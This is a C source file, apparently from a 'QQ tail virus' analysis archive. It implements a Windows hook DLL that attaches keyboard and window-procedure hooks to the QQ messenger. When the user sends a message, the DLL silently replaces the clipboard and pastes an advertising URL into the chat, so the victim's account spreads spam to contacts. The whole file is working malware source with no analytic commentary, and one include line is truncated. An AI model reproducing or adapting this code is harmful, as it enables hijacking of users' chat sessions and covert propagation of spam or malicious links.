www.pudn.com > “QQ尾巴病毒”分析源代码.zip > Hook.c
#include#define QQTAILAPI __declspec(dllexport) #include "Hook.h" // 定义共享数据段 #pragma data_seg("shared") HHOOK g_hProc = NULL; // 窗口过程钩子句柄 HHOOK g_hKey = NULL; // 键盘钩子句柄 HWND g_hRich = NULL; // 文本框句柄 #pragma data_seg() #pragma comment(linker, "/section:shared,rws") // DLL句柄 HINSTANCE g_hInstDLL = NULL; // 我的“尾巴” TCHAR g_str[] = "欢迎来我的小站坐坐:http://titilima.nease.net"; // 函数功能:向文本框中粘贴尾巴 void PasteText(HWND hRich) { HGLOBAL hMem; LPTSTR pStr; // 分配内存空间 hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str)); pStr = GlobalLock(hMem); lstrcpy(pStr, g_str); GlobalUnlock(hMem); OpenClipboard(NULL); EmptyClipboard(); // 设置剪贴板文本 SetClipboardData(CF_TEXT, hMem); CloseClipboard(); // 释放内存空间 GlobalFree(hMem); // 粘贴文本 SendMessage(hRich, WM_PASTE, 0, 0); } // 钩子过程,监视“发送”的命令消息 LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) { CWPSTRUCT *p = (CWPSTRUCT *)lParam; // 捕获“发送”按钮 if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1) PasteText(g_hRich); return CallNextHookEx(g_hProc, nCode, wParam, lParam); } // 键盘钩子过程,监视“发送”的热键消息 LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { // 捕获热键消息 if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0) PasteText(g_hRich); return CallNextHookEx(g_hKey, nCode, wParam, lParam); } // 挂接钩子 BOOL WINAPI SetHook(HWND hQQ) { BOOL bRet = FALSE; if (hQQ != NULL) { DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL); // 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦 g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD); if (g_hRich == NULL) return FALSE; // 挂接钩子 g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID); g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID); bRet = (g_hProc != NULL) && (g_hKey != NULL); } else { // 卸载钩子 bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey); g_hProc = NULL; g_hKey = NULL; g_hRich = NULL; } return bRet; } // DLL主函数 BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) g_hInstDLL = hinstDLL; return TRUE; }